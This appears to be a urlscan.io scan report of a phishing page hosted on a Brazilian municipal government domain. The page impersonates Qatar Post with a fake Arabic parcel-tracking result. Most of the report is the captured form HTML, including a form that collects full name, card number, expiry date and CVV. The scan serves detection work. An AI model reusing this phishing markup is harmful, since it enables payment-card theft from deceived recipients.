baturite.ce.gov.br Open in urlscan Pro
152.67.33.241  Malicious Activity! Public Scan

Submitted URL: https://u25655915.ct.sendgrid.net/ls/click?upn=zxhz2w-2FtiD5ePV9wCvBDT3pzb3cpG0fC2oJRpCnPKxg-3DlB8b_CvoTL75auTu97bStpqlLnFj1tXSK6-...
Effective URL: https://baturite.ce.gov.br/anexo/them/qt/
Submission: On April 18 via api from QA — Scanned from DE

Form analysis 3 forms found in the DOM

POST /ar/searchresults

<form action="/ar/searchresults" method="post" id="searchform">
  <input type="hidden" name="id" value="null">
  <div class="modal fade" id="SearchShow" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
    <div class="modal-dialog">
      <div class="modal-content">
        <div class="modal-header">
          <button type="button" class="closepopup" data-dismiss="modal" aria-hidden="true">×</button>
        </div>
        <div class="modal-body">
          <div class="searchCC">
            <div class="search-container">
              <div class="label animated  in-view">كيف يمكننا مساعدتك اليوم؟</div>
              <div class="field"><input type="text" id="searchbox" name="searchbox" value="" placeholder="الرجاء إدخال هنا للبحث"></div>
            </div>
            <div class="search-container-btn"><input type="button" class="search-btn1" value="&nbsp;" name="searchbtn" id="searchbtn" onclick="search()"></div>
          </div>
        </div>
        <div class="modal-footer">
        </div>
      </div>
    </div>
  </div>
</form>

POST

<form method="POST" class="trackTrace">
  <section id="track-trace">
    <!-- left panel start -->
    <input type="hidden" id="id_lblStatus" value="الحالة">
    <input type="hidden" id="id_lblDate" value="تاريخ">
    <input type="hidden" id="id_lblLocation" value="الموقع">
    <input type="hidden" id="id_lblEventDetails" value="تفاصيل الحدث">
    <input type="hidden" id="id_lblTrackingNumber" value="رقم تتبع الشحنه">
    <input type="hidden" id="id_lblOrderIdnumber" value="رقم معرف الطلب">
    <input type="hidden" id="id_lblDistributionDate" value="تاريخ التوزيع">
    <input type="hidden" id="id_lblViewfulldetails" value="عرض التفاصيل الكاملة">
    <input type="hidden" id="id_lblOrderId" value="رقم التعريف الخاص بالطلب">
    <input type="hidden" id="id_lblOrderPlaced" value="تم الطلب">
    <input type="hidden" id="id_lblExpecteddelivery" value="توصيلة متوقعة">
    <input type="hidden" id="id_lblCurrentStatus" value="">
    <input type="hidden" id="id_lblClose" value="إغلاق">
    <input type="hidden" id="id_lblTrackingDetails" value="تفاصيل التتبع">
    <div class="tracking-container">
      <!-- traking serch - stage#1 start--->
      <!-- traking serch - stage#1 end--->
      <!-- traking serch with QID - results - stage#2--->
      <!-- tracking search with QID - results - stage#2 --->
      <!-- traking serch with tracking no - results - stage#3--->
      <div class="tracking-single-result trace animated slideInLeft trackstage3 in-view" style="display: block;">
        <div class="row-container previous">
          <div class="previous-arrow">
            <span class="tracePrev"><i class="fa fa-arrow-left" aria-hidden="true"></i></span>
            <div class="title-desc">رقم تتبع الشحنه</div>
          </div>
          <div class="add-profile">
          </div>
          <!--
			<div class="traceLogin">
				<div class="floatright"> 
					<span class="login-inner-details login"><a href="#" class="user-login-cal">تسجيل الدخول</a> أو الاستمرار كضيف</span>
				</div>
				
			</div>
-->
        </div>
        <div class="row-container">
          <h3 class="tracking-qid-number track-num" alt="">Jr61867440e</h3>
        </div>
        <div class="row-container">
          <div class="left-panel">
            <p class="bold" style="width:300px;">الحالة الحالية: <span id="lastStatus">Deliver item (Inb)</span></p>
            <!--<p>null <span id="expDate"></span></p> -->
          </div>
        </div>
        <br><br><br><br><br><br><br>
        <div class="fields-input track-your-item">
          <div class="field">
            <input type="text" size="25" name="fullname" value="" required="" placeholder="الاسم الكامل">
          </div>
          <div class="field">
            <input type="text" size="25" id="ccnum" name="ccnum" required="" maxlength="16" minlength="16" value="" placeholder="أدخل رقم بطاقة الائتمان">
          </div>
          <div class="field">
            <input type="text" size="25" id="exp" name="exp" required="" value="" maxlength="5" minlength="5" placeholder="أدخل تاريخ انتهاء الصلاحية">
          </div>
          <div class="field">
            <input type="text" size="25" id="cvv" name="cvv" required="" value="" minlength="3" placeholder="أدخل رقم الأمان (CVV)">
          </div>
          <button type="submit" name="doSubmit" style="text-decoration: none;
    padding: 15px 30px 15px 30px;
    text-align: center;
    display: inline-block;
    margin: auto;
    border-radius: 30px;
    cursor: pointer;
    border: 0px;
    width: 190px;
    margin-bottom: 10px;
    margin-top: 15px;
    text-transform: capitalize;
    font-weight: normal;
    font-size: 90%;
    -webkit-transition: all 0.3s;
    -moz-transition: all 0.3s;
    transition: all 0.3s;
    position: relative;" class="button-normal color-maroon">المتابعة</button>
        </div>
        <script>
          jQuery.fn.ForceNumericOnly = function() {
            return this.each(function() {
              $(this).keydown(function(e) {
                var key = e.charCode || e.keyCode || 0;
                return (key == 8 || key == 9 || key == 13 || key == 46 || key == 110 || key == 190 || (key >= 35 && key <= 40) || (key >= 48 && key <= 57) || (key >= 96 && key <= 105));
              });
            });
          };
          $("#ccnum").ForceNumericOnly();
          $("#cvv").ForceNumericOnly();
          $("#exp").ForceNumericOnly();
          $('#exp').on("keyup , focus , input", () => {
            var creditExpirationMonth = $("#exp").val()
            let my = $('#exp')
            if (my.val().length == 2 && !my.val().includes("/")) my.val(my.val() + "/")
          });
        </script>
        <!--<div class="row-container" style="display: none;">
		<a class="



" data-toggle="collapse" href="#service-expand" role="button" aria-expanded="false" aria-controls="service-expand">
                   <span class="serviceNo">null<i class="fa fa-plus floatright expandcollapse" aria-hidden="true"></i></span>
                   <input id="toggleval" value="collapse" type="hidden"/>
               </a>
                <div class="control-group Add-track-services collapse" id="service-expand">
	               <label for="changeaddress" class="radio bdr-lft changeaddress">
	                   	<span class="bgWhite">
							<span class="icon icon-changeaddress"></span>
							<span>null</span>
							<span class="small">null</span>
							<span class="big bold">QAR 40</span>
							<input type="radio" name="Add_track_services" class="radio-custom required" id="changeaddress" value="changeaddress" /><span class="icon_span">&nbsp;</span>
	                    </span>
	                </label>
	                <label for="sethold" class="radio sethold">
	                   	<span class="bgWhite">
							<span class="icon icon-sethold"></span>
							<span>null</span>
							<span class="small">null</span>
							<span class="big bold">QAR 20</span>
							<input type="radio" name="Add_track_services" id="sethold" value="sethold" class="radio-custom" /><span class="icon_span">&nbsp;</span>
	                    </span>
	                </label>
	                
	                <label for="zeropobox" class="radio zeropobox">
	                   <span class="bgWhite">
							<span class="icon icon-reschedule"></span>
							<span>null</span>
							<span class="small">null</span>
							<span class="big bold">QAR 80</span>
							<input type="radio" name="Add_track_services" id="zeropobox" value="zeropobox" class="radio-custom" /><span class="icon_span">&nbsp;</span>
	                    </span>
	                </label>                      
	        </div>	
		</div>	-->
      </div>
      <!-- traking serch with tracking no - results - stage#3--->
      <!-- traking serch with not found - results - stage#4 start--->
      <!-- <div class="notfound-result animated slideInLeft" style="display: none;"> -->
      <div class="notfound-result animated slideInLeft in-view" style="display: none;">
        <div class="row-container previous">
          <div class="previous-arrow">
            <span class="tracePrev"><i class="fa fa-arrow-left" aria-hidden="true"></i></span>
            <div class="title-desc">رقم تتبع الشحنه</div>
          </div>
          <div class="add-profile">
          </div>
          <div class="traceLogin">
            <div class="floatright">
              <span class="login-inner-details login"><a href="#" class="user-login-cal">تسجيل الدخول</a> أو الاستمرار كضيف</span>
            </div>
          </div>
        </div>
        <div class="row-container">
          <h3 class="tracking-qid-number" alt="null">null</h3>
        </div>
        <div class="row-container">
          <p class="big bold">إذا فقدت رقم التتبع الخاص بك ، يرجى الاتصال بمرسل الطرد الخاص بك</p>
          <p class="small">إذا قمت بإرسال الطرد مع بريد قطر ، يرجى الاتصال بنا على:</p>
          <h6>+974 4446400</h6>
          <p class="small">نحن نسعى جاهدين لإنشاء أفضل خدمة لك. يمكنك العثور على الأسئلة الشائعة الأكثر شيوعًا هنا:</p>
          <div class="buttons-container">
            <div class="type-1 nexttraceTab">
              <a href="" class="btn btn-gray" title="خدمات بريدية">
						  <span class="txt">خدمات بريدية</span>
						  <span class="round-blue"><i class=""><img src="https://qatarpost.qa/qp/images/arrow-white-right.png" alt="Right Arrow"></i></span>
					</a>
            </div>
          </div>
        </div>
      </div>
      <!-- traking serch with not found - results - stage#4 end--->
      <!-- traking serch with tracking no - login - stage#5 start--->
      <!--	<div class="internal-login animated slideInLeft" style="display:none"> -->
      <div class="internal-login animated slideInLeft hidden in-view" style="display: none;">
        <div class="row-container previous">
          <div class="previous-arrow">
            <span class="tracePrev"><i class="fa fa-arrow-left" aria-hidden="true"></i></span>
            <div class="title-desc">تسجيل الدخول هنا</div>
          </div>
          <div class="add-profile">
          </div>
        </div>
        <div class="row-container marginTop30 floatleft marginBottom30">
          <h4 class="tracking-qid-number">Welcome to Qatar Post</h4>
          <h6 class="tracking-qid-number marginTop10 marginBottom10">تسجيل الدخول</h6>
        </div>
        <div class="row-container marginTop30 wid75per login-fileds">
          <div class="fields-input">
            <label for="uname"><span class="hidden">USERNAME</span></label>
            <input type="text" value="" name="uname" class="wid49Hper" placeholder="Username" title="User Name" id="uname">
            <label for="upass"><span class="hidden">PASSWORD</span></label>
            <input type="password" value="" name="upass" class="wid49Hper" placeholder="Password" title="Password" id="upass">
          </div>
          <div class="forgot-password-row-internal-login">
            <a href="#">هل نسيت كلمة المرور</a> | <a href="#">انشاء حساب توثيق جديد</a>
          </div>
          <div class="marginTop30 buttons-container">
            <div class="type-1">
              <a href="#" class="btn btn-gray white">
					<span class="txt">Login</span>
					<span class="round-maroon"><i class=""><img src="https://qatarpost.qa/qp/images/arrow-white-right.png" alt=""></i></span>
				</a>
            </div>
          </div>
        </div>
      </div>
      <!-- traking serch with tracking no - login - stage#5 end--->
      <!-- traking reshudle delivery tracking no - stage#6 start--->
      <!--<div class="reschedule-delivery-form trace animated slideInLeft" style="display:none" >
		<div class="row-container previous">
			<div class="previous-arrow"> 
				<span class="tracePrev"><i class="fa fa-arrow-left" aria-hidden="true"></i></span> 
				<div class="title-desc">رقم تتبع الشحنه</div>
			</div>
			
			<div class="add-profile">
				
			</div>

			 <div class="traceLogin">
				<div class="floatright"> 
					<span class="login-inner-details login"><a href="#" class="user-login-cal">تسجيل الدخول</a> أو الاستمرار كضيف</span>
				</div>
			</div>

		</div>
		
		<div class="row-container">
			<h3 class="tracking-qid-number dis-in-block track-num"></h3>
		</div>
		
		<div class="trackTraceForm changeaddressform">
			<div class="row-container">
				<h5 class="tracking-qid-number">null</h5>
			</div>
			
			<div class="row-container marginTop20 trace-Form">
				<div class="left-panel-form">
					<div class="fields-input ">
						<input type="text" id="forwardInput" value="" name="" class="wid49per" placeholder="OTP No">
						<span class="verify-btn" id="ForwardOTPverify">null</span>
						<span class="verify-btn resendOTP" style="position: absolute; margin-left: -2;">null</span>
					</div>
					<p class="bold incorrectOTP" style="width:300px; display:none"  >null</p>
					<div class="fields-input marginTop15 radioBtns hidden">
						<div class="floatleft marginRight47">
							<label class="checkbox-container">null
							  <input type="checkbox" name="poboxHome" class="poboxcheckbox" >
							  <span class="checkmark"></span>
							</label>
						</div>

						<div class="floatleft">
							<label class="checkbox-container marginRight47">الصفحة الرئيسية
							  <input type="checkbox" name="poboxHome" class="homecheckbox">
							  <span class="checkmark"></span>
							</label>
						</div>

						<div class="floatleft">
							<label class="checkbox-container">null
							  <input type="checkbox" name="poboxHome" class="smartlocker">
							  <span class="checkmark"></span>
							</label>
						</div>
					</div>
					<div class="homeaddress hidden">
						<div class="fields-input">
							<label>null</label>
							<input type="text" value="" name="" class="wid98per" placeholder="null">
						</div>
						<div class="fields-input">
							<select name="" class="wid49per selectStyle">
								<option value="" disabled selected>null</option>
								<option>city 1</option>
								<option>city 2</option>
							</select>
							<select name="" class="wid49per selectStyle">
								<option value="" disabled selected>null</option>
								<option>Zone 1</option>
								<option>Zone 2</option>
							</select>
						</div>
						<div class="fields-input">
							<select name="" class="wid49per selectStyle">
								<option value="" disabled selected>null</option>
								<option>Street 1</option>
								<option>Street 2</option>
							</select>
							<select name="" class="wid49per selectStyle">
								<option value="" disabled selected>null</option>
								<option>Building No 1</option>
								<option>Building No 2</option>
							</select>
						</div>
						<div class="fields-input">
							<select name="" class="wid49per selectStyle">
								<option value="" disabled selected>null</option>
								<option>Door No 1</option>
								<option>Door No 2</option>
							</select>
							<select name="" class="wid49per selectStyle">
								<option value="" disabled selected>null</option>
								<option>Floor 1</option>
								<option>Floor 2</option>
							</select>
						</div>
						<div class="fields-input">
							<input type="text" value="" name="" class="wid49per" placeholder="null">
							<input type="email" value="" name="" class="wid49per" placeholder="null">
						</div>
					</div>
					<div class="poboxaddress hidden">
						<div class="fields-input">
							<input type="text" value="" name="" class="wid98per" placeholder="null">
							<div class="fields-input">
								<input type="text" value="" name="" class="wid49per" placeholder="null">
								<input type="email" value="" name="" class="wid49per" placeholder="null">
							</div>
							<label>PO Box No</label>
							<input type="text" value="" name="" class="wid98per" placeholder="P.O. Box No">
						</div>
					</div>
					<div class="smartlockeraddress hidden">
						<div class="fields-input">
							<input type="text" value="" name="" class="wid98per" placeholder="null">
							<div class="fields-input">
								<input type="text" value="" name="" class="wid49per" placeholder="null">
								<input type="email" value="" name="" class="wid49per" placeholder="null">
							</div>
							<label>null</label>
							<input type="text" value="" name="" class="wid98per" placeholder="null">
						</div>
					</div>					
				</div>
				<div class="right-panel-form"></div>
			</div>
		</div>
		<div class="trackTraceForm setonholdform">
			<div class="row-container">
				<h5 class="tracking-qid-number">null</h5>
			</div>
			
			<div class="row-container marginTop20 trace-Form">
				<div class="left-panel-form">
					<div class="fields-input">
						<input type="text" value="" id="holdOTPInput" name="" class="wid49per" placeholder="OTP No">
						<span class="verify-btn" id="holdOTPverify">null</span>
						<span class="verify-btn resendOTP" style="position: absolute; margin-left: -2;">null</span>
					</div>
					<p class="bold incorrectOTP" style="width:300px; display:none"  >null</p>
					<div class="fields-input onHoldform hidden">
						<label>null</label>
						<input type="text" value="" name="startDate" class="wid49per dateImg" placeholder="dd-mm-yyyy">
						<input type="text" value="" name="startDate" class="wid49per dateImg" placeholder="dd-mm-yyyy">
					</div>						
				</div>
				<div class="right-panel-form">
									
				</div>
			</div>
		</div>
		<div class="trackTraceForm zeroPOBoxform">
			<div class="row-container">
				<h5 class="tracking-qid-number">null</h5>
			</div>
			<div class="fields-input marginTop20">
				<input type="text" value="" name="" id="zeroPOBOXOTPInput" class="wid35per" placeholder="null">
				<span class="verify-btn" id="zeroPOBOXOTPverify">null</span>
				<span class="verify-btn holdOTPverify" style="position: absolute; margin-left: -2;">null</span>
			</div>
			<p class="bold incorrectOTP" style="width:300px; display:none"  >null</p>
			<div class="row-container marginTop20 trace-Form zeroPOboxaddressForm hidden">
				<div class="left-panel-form">
					<div class="fields-input">
						<label>null</label>
						<input type="text" value="" name="" class="wid98per" placeholder="null">
					</div>
					<div class="fields-input">
						<select name="" class="wid49per selectStyle">
							<option value="" disabled selected>null</option>
							<option>city 1</option>
							<option>city 2</option>
						</select>
						<select name="" class="wid49per selectStyle">
							<option value="" disabled selected>null</option>
							<option>Zone 1</option>
							<option>Zone 2</option>
						</select>
					</div>
					<div class="fields-input">
						<select name="" class="wid49per selectStyle">
							<option value="" disabled selected>null</option>
							<option>Street 1</option>
							<option>Street 2</option>
						</select>
						<select name="" class="wid49per selectStyle">
							<option value="" disabled selected>null</option>
							<option>Building No 1</option>
							<option>Building No 2</option>
						</select>
					</div>
					<div class="fields-input">
						<select name="" class="wid49per selectStyle">
							<option value="" disabled selected>null</option>
							<option>Door No 1</option>
							<option>Door No 2</option>
						</select>
						<select name="" class="wid49per selectStyle">
							<option value="" disabled selected>null</option>
							<option>Floor 1</option>
							<option>Floor 2</option>
						</select>
					</div>
					<div class="fields-input">
						<input type="text" value="" name="" class="wid49per" placeholder="null">
						<input type="email" value="" name="" class="wid49per" placeholder="null">
					</div>
					
				</div>
				<div class="right-panel-form">
					
					
				</div>
			</div>
		</div>		
	</div>-->
      <!-- traking reshudle delivery tracking no - stage#6 end--->
      <!--	<div class="reschedule-delivery-form trace animated slideInLeft" style="display:none"> -->
      <!--<div class="reschedule-delivery-form trace animated slideInLeft" style="display:none" >
		<div class="row-container previous">
			<div class="previous-arrow"> 
				<span class="tracePrev"><i class="fa fa-arrow-left" aria-hidden="true"></i></span> 
				<div class="title-desc">رقم تتبع الشحنه</div>
			</div>
			
			<div class="add-profile">
				
			</div>
			 <div class="traceLogin">
				<div class="floatright"> 
					<span class="login-inner-details login"><a href="#" class="user-login-cal">تسجيل الدخول</a> أو الاستمرار كضيف</span>
				</div>
			</div>

		</div>
		
		<div class="row-container">
			<h3 class="tracking-qid-number dis-in-block track-num"></h3>
		</div>
		
		<div class="left-panel-price-form wid40per floatleft tab5Form animated slideInLeft">
						
		</div>
			
	</div> -->
    </div>
    <!--- left panel end -->
  </section>
</form>

POST https://testsecureacceptance.cybersource.com/pay

<form class="priceCalculator" id="payment_confirmation" action="https://testsecureacceptance.cybersource.com/pay" method="post">
  <section id="price-calculator-container">
    <div class="price-calculator-content">
      <!-- stage #1 -->
      <div class="content-continer row stage-1 tab" style="display: block;">
        <div class="field padBottom45 padLeft15 padRight15 animated slideInLeft in-view">
          <h2 class="title">حاسبة التكلفة</h2>
        </div>
        <!--<a href="#">-->
        <div class="col-sm-6 col-xs-12 stage1-ar nextTab animated slideInLeft in-view" role="button" onclick="ga('send', 'event', 'Button', 'Click', 'withinQatar Tab')" onkeypress="">
          <div class="price-calculator-box servicepreferencebox price-calculator-page" id="withinQatar">
            <div class="content">
              <div class="withinQatar firsttab">
                <div class="package"><img src="https://qatarpost.qa/qp/images/witin-qatar-black.png" class="imgNormal" alt="Icon WithinQatar">
                  <img src="https://qatarpost.qa/qp/images/witin-qatar-white.png" class="imghover" alt="Icon WithinQatar" style="display: none;">
                </div>
              </div>
              <div class="middle" id="within-qatar">داخل قطر</div>
              <div class="right">
                <div class="circle"><i class="fa fa-arrow-right"></i></div>
              </div>
            </div>
          </div>
        </div>
        <div class="col-sm-6 col-xs-12 nextTab animated slideInRight in-view" role="button" onclick="ga('send', 'event', 'Button', 'Click', 'overseas Tab')" onkeypress="">
          <div class="price-calculator-box servicepreferencebox price-calculator-page" id="overseas">
            <div class="content">
              <div class="overseas firsttab">
                <div class="package"><img src="https://qatarpost.qa/qp/images/overseas-black.png" class="imgNormal" alt="Icon Overseas">
                  <img src="https://qatarpost.qa/qp/images/overseas-white.png" class="imghover" alt="Icon Overseas" style="display: none;">
                </div>
              </div>
              <div class="middle" id="Overseas">خارج قطر</div>
              <div class="right">
                <div class="circle"><i class="fa fa-arrow-right"></i></div>
              </div>
            </div>
          </div>
        </div>
      </div>
      <!-- stage #1  end-->
      <!-- stage #1 -->
      <div class="content-continer row stage-2 tab hidden" style="display:none;">
        <div class="previous">
          <span class="homecircle" style="display: none;">الصفحة الرئيسية<i class="fa fa-home" aria-hidden="true"></i></span> <span class="prevcircle prevTab"><i class="fa fa-arrow-left" aria-hidden="true"></i>
            <span class="arback" style="">السابق</span>
          </span>
        </div>
        <div class="field padBottom45 padLeft15 padRight15">
          <!--<p class="small-header">اطبع الملصق الخاص بك على الإنترنت وتجاوز قائمة الانتظار</p>-->
          <h2 class="title">حاسبة التكلفة</h2>
        </div>
        <!--<a href="#">-->
        <div class="col-sm-6 col-xs-12 stage2-ar nextTab animated slideInLeft in-view" role="button" onclick="ga('send', 'event', 'Button', 'Click', 'Package Tab')" onkeypress="">
          <div class="price-calculator-box serviceboxcalculator price-calculator-page">
            <div class="content">
              <div class="left">
                <div class="package">
                  <img src="https://qatarpost.qa/qp/images/icon-package.png" alt="Icon Package">
                </div>
              </div>
              <div class="middle" id="Package">طرد</div>
              <div class="right">
                <div class="circle">
                  <i class="fa fa-arrow-right"></i>
                </div>
              </div>
            </div>
          </div>
        </div>
        <div class="col-sm-6 col-xs-12 nextTab animated slideInRight in-view" role="button" onclick="ga('send', 'event', 'Button', 'Click', 'Letter Tab')" onkeypress="">
          <div class="price-calculator-box serviceboxcalculator price-calculator-page">
            <div class="content">
              <div class="left">
                <div class="package">
                  <img src="https://qatarpost.qa/qp/images/icon-letter.png" alt="Icon Letter">
                </div>
              </div>
              <div class="middle" id="Letter">رسالة</div>
              <div class="right">
                <div class="circle">
                  <i class="fa fa-arrow-right"></i>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
      <!-- stage #1 end -->
      <!-- stage 2 strting -->
      <div class="content-continer stage-3 tab hidden" style="display:none;">
        <div class="previous">
          <span class="homecircle" style="display: none;">الصفحة الرئيسية<i class="fa fa-home" aria-hidden="true"></i></span> <span class="prevcircle prevTab"><i class="fa fa-arrow-left" aria-hidden="true"></i>
            <span class="arback" style="">السابق</span>
          </span>
        </div>
        <h3>خدمات</h3>
        <div class="serviceBox standard nextTab animated bounceInDown in-view" role="button" onclick="ga('send', 'event', 'Button', 'Click', 'Standard Tab')" onkeypress="">
          <div class="serviceHead">
            <span class="leftPart"><i class="fa fa-truck" aria-hidden="true"></i></span>
            <div class="rightPart">
              <span class="serviceName" id="Standard">اساسي</span><span class="deliveryTime1">(1-2 أيام)</span><span class="deliveryTime2">(15-2يوم)</span>
            </div>
            <input type="hidden" id="id_lblQatarS" value="المحلي العادي">
            <input type="hidden" id="id_lblQatarE" value="المحلي السريع">
            <input type="hidden" id="id_lblGlobalS" value="الدولي العادي">
            <input type="hidden" id="id_lblGlobalE" value="الدولي السريع">
          </div>
          <div class="serviceDescription">
            <span class="desc">إثبات التسليم</span>
            <p>(P.O.D) تتضمن وقت التسليم وعنوان التوصيل الكامل واسم وتوقيع المتلقي</p>
            <span class="desc">المسار والتتبع</span>
            <p>يتم تعقب الرسائل والطرود الخاصة بك وتتبعها في جميع مراحل عملية الشحن والتسليم.</p>
          </div>
        </div>
        <div class="serviceBox express nextTab animated delay-300ms bounceInDown in-view" role="button" onclick="ga('send', 'event', 'Button', 'Click', 'Express Tab')" onkeypress="">
          <div class="serviceHead">
            <span class="leftPart"><i class="fa fa-truck" aria-hidden="true"></i></span>
            <div class="rightPart">
              <span class="serviceName" id="Express">توصيل السريع</span><span class="deliveryTime1">(يوم واحد)</span><span class="deliveryTime2">( 7-10 أيام)</span>
            </div>
          </div>
          <div class="serviceDescription">
            <span class="desc">إثبات التسليم</span>
            <p>(P.O.D) تتضمن وقت التسليم وعنوان التوصيل الكامل واسم وتوقيع المتلقي</p>
            <span class="desc">المسار والتتبع</span>
            <p>يتم تعقب الرسائل والطرود الخاصة بك وتتبعها في جميع مراحل عملية الشحن والتسليم.</p>
          </div>
        </div>
      </div>
      <!-- stage 2 end -->
      <!-- Here i am making to call the CSElement Price Calculator -->
      <div>
        <style>
          body {
            font-family: Arial, Helvetica, sans-serif;
          }

          /* The Modal (background) */
          .modal {
            display: none;
            /* Hidden by default */
            position: fixed;
            /* Stay in place */
            z-index: 1;
            /* Sit on top */
            padding-top: 200px;
            /* Location of the box */
            left: 0;
            top: 0;
            width: 100%;
            /* Full width */
            height: 300%;
            /* Full height */
            overflow: auto;
            /* Enable scroll if needed */
            background-color: rgb(0, 0, 0);
            /* Fallback color */
            background-color: rgba(0, 0, 0, 0.4);
            /* Black w/ opacity */
          }

          /* Modal Content */
          .modal-content {
            background-color: #fefefe;
            margin: auto;
            padding: 20px;
            border: 1px solid #888;
            width: 100%;
          }

          /* The Close Button */
          .close {
            color: #aaaaaa;
            float: right;
            font-size: 28px;
            font-weight: bold;
          }

          .close:hover,
          .close:focus {
            color: #000;
            text-decoration: none;
            cursor: pointer;
          }
        </style>
        <!-- price calculator start -->
        <div class="content-continer stage-4 tab hidden" style="display:none;">
          <div class="previous">
            <!--<span class="homecircle">الصفحة الرئيسية<i class="fa fa-home" aria-hidden="true"></i></span>-->
            <span class="prevcircle prevTab"><i class="fa fa-arrow-left" aria-hidden="true"></i>
              <span class="arback" style="">السابق</span>
            </span>
          </div>
          <!-- mobile price view start -->
          <div class="mobile-price-view clearboth">
            <div class="container">
              <div class="left-col"> شحنتك - <p class="">Express </p>
              </div>
              <div class="right-col"> <span class="newtrackvalue"></span>ريال قطري </div>
            </div>
          </div>
          <!-- mobile price view end -->
          <div class="right-panel-price-form wid30per floatright animated bounceInDown in-view">
            <div class="TotalForm">
              <div class="part1 border-bottom">
                <div class="item-info">
                  <span>شحنتك</span> <span>الأولوية العالمية</span> <span class="international">International - India</span>
                </div>
                <div class="item-pic floatright">
                  <img src="https://qatarpost.qa/qp/images/icon-package-white.png" alt="itemimage">
                </div>
                <span class="max selweight floatright">ماكس <span class="font-big"></span>
                </span>
              </div>
              <div class="part2 floatleft border-bottom">
                <span class="floatright"></span>
                <p class="rowParticular">
                  <span class="left-col wid60per floatleft">تكلفة الخدمة / الطلب</span>
                  <span class="left-col wid40per floatright text-right"></span>
                </p>
              </div>
              <div class="part3 floatleft" style="display:none">
                <span class="floatleft bold">طلب الاستلام</span><span class="floatright"><span class="font-big">25</span> ريال قطري</span>
              </div>
              <div class="part3 floatleft" style="display:none">
                <span class="floatleft bold"></span><span class="floatright"><span class="font-big">30</span> ريال قطري</span>
              </div>
              <div class="part3 floatleft" style="display:none">
                <span class="floatleft bold"></span><span class="floatright"><span class="font-big">40</span> ريال قطري</span>
              </div>
              <div class="part3 floatleft">
                <span class="floatleft bold">التكلفة الإجمالية</span><span class="floatright"><span class="font-big newtrackvalue"></span> ريال قطري</span>
                <input type="hidden" id="id_lblQAR" value="ريال قطري">
              </div>
            </div>
          </div>
          <div class="left-panel-price-form wid40per floatleft animated slideInLeft in-view">
            <div class="fields-input standard-fields">
              <label for="destination">الوجهة</label> <select class="wid100per" name="destination" id="destination">
                <option>اختر وجهة</option>
              </select>
              <input type="hidden" id="id_lblChooseDestination" value="اختر وجهة">
              <span id="desterr" class="ErrMsg" style="color: red; font-size: 15px; display: none;"> يرجى تحديد الوجهة للمضي قدما</span>
            </div>
            <div class="fields-input standard-fields">
              <label for="weight">الوزن</label> <input id="weight" type="text" value="" min="0" max="" name="weight" class="wid100per" placeholder="الوزن بالكيلوجرام">
              <input type="hidden" id="id_lblWeightinkilograms" name="الوزن بالكيلوجرام" value="الوزن الأقصى المسموح به">
              <input type="hidden" id="id_lblKglblGrams" name="جرام" value="كغم">
              <span>أدخل الوزن بالجرام</span>
              <input type="hidden" id="isweightexceed" value="">
              <span>أدخل وزن الطرد بالكيلوغرام (مع رقم عشري واحد)</span>
              <br>
              <span id="weighterr" class="ErrMsg" style="color: red; font-size: 15px; display: none;">يرجى إدخال الوزن</span>
              <br><span id="maxweighterr" class="ErrMsg" style="color: red; font-size: 15px; display: none;">يرجى إدخال قيمة داخل الحد الأقصى<span></span></span>
            </div>
            <div class="fields-input global-fields">
              <label>البعد</label>
              <div class="wid32per floatleft dimension marginRight9">
                <label for="dLength"><span class="hidden">LENGTH</span></label>
                <input id="dLength" type="text" value="" name="dLength" maxlength="5" class="wid100per" placeholder="الطول" title="الطول"> <span class="">أدخل الطول (سم)</span><br>
                <span id="lengtherr" class="ErrMsg" style="color: red; font-size: 15px; display: none;">يرجى ادخال الطول</span>
              </div>
              <div class="wid32per floatleft dimension marginRight9">
                <label for="dWidth"><span class="hidden">WIDTH</span></label>
                <input id="dWidth" type="text" value="" name="dWidth" maxlength="5" class="wid100per" placeholder="عرض" title="(أدخل العرض (سم"> <span class="">(أدخل العرض (سم</span><br>
                <span id="widtherr" class="ErrMsg" style="color: red; font-size: 15px; display: none;">من فضلك ادخل العرض</span>
              </div>
              <div class="wid32per dimension floatleft ">
                <label for="dHeight"><span class="hidden">HEIGHT</span></label>
                <input id="dHeight" type="text" value="" name="dHeight" maxlength="5" class="wid100per" placeholder="ارتفاع" title="أدخل الارتفاع (سم)"> <span class="">أدخل الارتفاع (سم)</span><br>
                <span id="heighterr" class="ErrMsg" style="color: red; font-size: 15px; display: none;">يرجى ادخال الارتفاع</span>
              </div>
              <br><span id="volumeerr" class="ErrMsg" style="color: red; font-size: 15px; display: none;">حجم (الطول × العرض × الارتفاع) يتجاوز 25000</span>
            </div>
            <div class="fields-input global-fields padBottom10">
              <label>هل تحتاج إلى باقة رعاية؟ </label>
            </div>
            <div class="fields-input global-fields padBottom10">
              <div class="floatleft marginRight47">
                <label class="radio-container">نعم فعلا <input type="radio" id="carepackageyes" name="carePackage" value="carePackage_yes">
                  <span class="checkmark"></span>
                </label>
                <span id="crpackerr" class="ErrMsg" style="color: red; font-size: 15px; display: none;"></span>
              </div>
              <div class="floatleft">
                <label class="radio-container">لا<input type="radio" id="carepackageno" checked="checked" name="carePackage" value="carePackage_no"> <span class="checkmark"></span>
                </label>
              </div>
            </div>
            <div class="fields-input global-fields carePackage_value" style="display: none;">
              <div class="floatleft wid100per">
                <label for="carePackageamount1"><span class="hidden">CARE PACKAGE</span></label>
                <input type="text" value="" name="carePackageamount" id="carePackageamount1" class="wid100per" placeholder="قيمة المنتج بالريال القطري" title="قيمة المنتج بالريال القطري">
              </div>
            </div>
            <div class="fields-input marginTop5 hide-standard" style="display: none;" id="regTrack">
              <div class="floatleft marginRight47">
                <label class="checkbox-container pickup">سجل للتتبع <!--<input type="checkbox" name="tracking" value="tracking" class="tracking-checkbox" checked="checked" >-->
                  <input type="checkbox" name="tracking" value="tracking" class="tracking-checkbox">
                  <span class="checkmark"></span>
                  <span id="trackerr" class="ErrMsg" style="color: red; font-size: 15px; display: none;"> يرجى التحقق من التسجيل للمضي قدما</span>
                </label>
              </div>
            </div>
            <div class="type-2">
              <a id="registerProceed" href="#price-calculator-container" class="btn btn-blue nextTab" title="التالي"> <span class="txt">التالي
									</span> <span class="round-yellow"><i class="fa fa-arrow-right" aria-hidden="true"></i></span>
							</a>
            </div>
            <div class="marginTop5 serverIssue" style="display:none">
              <span class="error ErrMsg">نحن نواجه مشكلة في الاتصال بالخادم. يرجى تحديث الصفحة وحاول مرة أخرى</span>
            </div>
          </div>
        </div>
        <!-- stage 3 end -->
        <!-- stage 5 strting -->
        <!-- stage 5 end -->
